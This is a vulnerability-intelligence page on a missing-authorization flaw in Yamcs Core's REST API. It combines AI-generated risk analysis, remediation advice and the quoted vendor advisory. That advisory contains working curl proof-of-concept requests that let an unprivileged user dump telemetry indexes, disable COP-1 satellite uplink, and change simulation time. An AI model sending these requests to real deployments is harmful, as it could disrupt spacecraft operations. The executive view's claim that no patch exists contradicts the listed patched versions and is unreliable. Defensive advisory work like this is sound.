Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessObtain any valid Yamcs credentials
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DeliverySend GET to /api/archive/{instance}/packet-index
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ExploitEnumerate telemetry metadata without privilege check
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ExecutionSend POST to /api/cop1/{instance}/{link}:disable
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PersistBypass ControlLinks SystemPrivilege check
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ImpactDisrupt satellite COP-1 telecommand uplink
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid Yamcs user account with any level of access - including accounts with zero roles or privileges assigned. No administrative access, special configuration, or elevated permissions are needed; the CVSS PR:L reflects that even the most restricted authenticated user can exploit all three flaws. The Yamcs REST API must be network-reachable (default port 8090). Exploitation of Cop1Api endpoints is further dependent on the target Yamcs instance having configured COP-1-capable links; if no such links exist, the endpoint returns a 400 error but still confirms the authorization bypass. Exploitation of TimeApi is limited to instances where SimulationTimeService is active - production deployments using real hardware time services are unaffected by the time manipulation vector but remain vulnerable to the IndexesApi and Cop1Api flaws. |
| Impact | The CVSS 8.8 score with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately reflects real-world risk: network-reachable, low-complexity exploitation requiring only a valid user account (PR:L) with no other privileges. All three CIA pillars are independently impacted by separate code paths. POC exploit code is publicly available in the security advisory, lowering the bar to exploitation significantly. No EPSS score was provided, but the combination of low-complexity exploitation, published PoC, and a niche but operationally critical deployment context suggests targeted rather than widespread exploitation risk. CISA KEV absence is consistent with the specialized deployment footprint of spacecraft operations software - this is likely not mass-exploited, but any exploitation in context is high consequence. The CVSS vector and description are fully consistent: network-delivered REST API calls, no privilege escalation required beyond authentication. |
| Exploit ScenarioDerived | An attacker with any valid Yamcs credential - even a 'Guest' account created for read-only dashboard access - issues a series of unauthenticated-equivalent HTTP requests to the three vulnerable endpoints. Using the published PoC, they first enumerate historical telemetry packet indexes to map spacecraft data structures, then issue a POST to the COP-1 disable endpoint to halt satellite telecommand uplink, causing command transmission failures. The absence of a 403 response (instead returning 200 or 400) confirms the authorization bypass at each step without requiring any privilege escalation. |
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Alert meAnalysisAIv1 – Aug 28, 2026
Missing function-level access control in Yamcs Core's REST API allows any authenticated user - including completely unprivileged 'Guest' accounts - to bypass the platform's RBAC system across three distinct API controllers. Affected endpoints in IndexesApi, Cop1Api, and TimeApi omit authorization checks entirely, enabling telemetry metadata exfiltration, disruption of COP-1 satellite telecommand protocols, and manipulation of global simulation time. Publicly available exploit code (curl-based PoC) confirms exploitability; the vulnerability is not currently listed in CISA KEV, though the spacecraft operations context elevates real-world impact severity.
RemediationAI
Upgrade org.yamcs:yamcs-core to version 5.12.8 (for 5.12.x deployments) or 5.13.2 (for 5.13.x deployments) - both are vendor-confirmed patched releases per the GitHub security advisory at https://github.com/yamcs/yamcs/security/advisories/GHSA-962x-ccwf-8x6p. If immediate patching is not possible, restrict network access to the Yamcs REST API (default port 8090) to trusted network segments or authenticated VPN only, eliminating exposure to untrusted authenticated users. Additionally, audit all existing user accounts and remove any accounts without legitimate role assignments, as the vulnerability requires only valid credentials to exploit. Note that API port restriction may impact legitimate operator workflows and automated test pipelines that depend on REST API access.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Yamcs (Yet Another Mission Control System) is an open-source spacecraft mission operations framework implementing REST and WebSocket APIs for telemetry, commanding, and simulation management. The platform models authorization through SystemPrivilege (administrative actions) and ObjectPrivilege (data access) enforced via ctx.checkSystemPrivilege() and ctx.user.hasObjectPrivilege() call patterns. CWE-862 (Missing Authorization) manifests here because three API controllers - IndexesApi.java, Cop1Api.java, and TimeApi.java - execute business logic without invoking these checks, unlike sibling controllers such as PacketsApi.java which correctly gate reads via ObjectPrivilegeType.ReadPacket. The affected Maven artifact is org.yamcs:yamcs-core. COP-1 (Communications Operation Procedure-1) is an ECSS/CCSDS telecommand protocol critical to satellite uplink reliability; its disruption has direct operational consequences for spacecraft commanding.
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Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
REST API over network (AV:N), any authenticated user sufficient (PR:L), no interaction needed (UI:N); all three CIA pillars impacted by independent code paths (C:H/I:H/A:H).
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
Lifecycle Timeline
2DescriptionCVE.org
Summary
Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.
Details
Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:
IndexesApi.java(Information Disclosure): UnlikePacketsApi.java, which filters results usingctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods inIndexesApi(such aslistPacketIndexandlistEventIndex) directly retrieve and return archive records from theCcsdsTmIndexwithout verifying if the user has the required Object Privileges.Cop1Api.java(Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiringSystemPrivilege.ControlLinks. However, endpoints inCop1Api(e.g.,disable,resume,initialize,updateConfig) process link state alterations without callingctx.checkSystemPrivilege(...).TimeApi.java(Denial of Service / Integrity): ThesetTimemethod allows modification of the globalSimulationTimeService(affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.
PoC
Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., user_without_priv:password with no roles assigned).
PoC 1: Extracting Packet Indexes (IndexesApi)
curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \
-u "user_without_priv:password"*Result:* Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.
PoC 2: Disabling COP-1 Protocol (Cop1Api)
curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \
-u "user_without_priv:password" \
-H "Content-Type: application/json" -d '{}'*Result:* The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.
PoC 3: Manipulating Simulation Time (TimeApi)
curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \
-u "user_without_priv:password" \
-H "Content-Type: application/json" -d '{"speed": 10.0}'*Result:* The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.
Impact
The vulnerability impacts instances of Yamcs exposing the REST API.
- Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata.
- Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.
PoC Images:
- Check user permission
<img width="1218" height="951" alt="image" src="https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3" />
- Check admin permission and access API:
<img width="1768" height="555" alt="image" src="https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab" />
- Check user no permission - get response same with user admin:
<img width="1264" height="885" alt="image" src="https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4" /> <img width="1243" height="358" alt="image" src="https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4" />
Blast Radius
ecosystem impact- 7 maven packages depend on org.yamcs:yamcs-core (7 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.13.0.
Technical POC Analysis
CWE-862 (Missing Authorization).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Yamcs Core's REST API fails to enforce access controls, allowing even unprivileged system users (including guest accounts) to access and modify critical spacecraft telemetry and command systems. With no available patch and publicly available exploit code, this creates immediate operational risk to satellite missions.
Immediately restrict network access to Yamcs Core REST API endpoints using firewall rules or network segmentation. Implement strict IP whitelisting and request authentication logging on all API access. Disable or restrict guest account privileges where operationally feasible. Isolate Yamcs Core infrastructure on dedicated, restricted network segments with minimal external connectivity. Enable comprehensive request/response logging and monitoring for suspicious access patterns. Escalate patch availability requests to Yamcs vendor with mission-critical urgency indicator. Establish incident response procedures for potential exploitation attempts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
EUVD-2026-67838
GHSA-962x-ccwf-8x6p
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB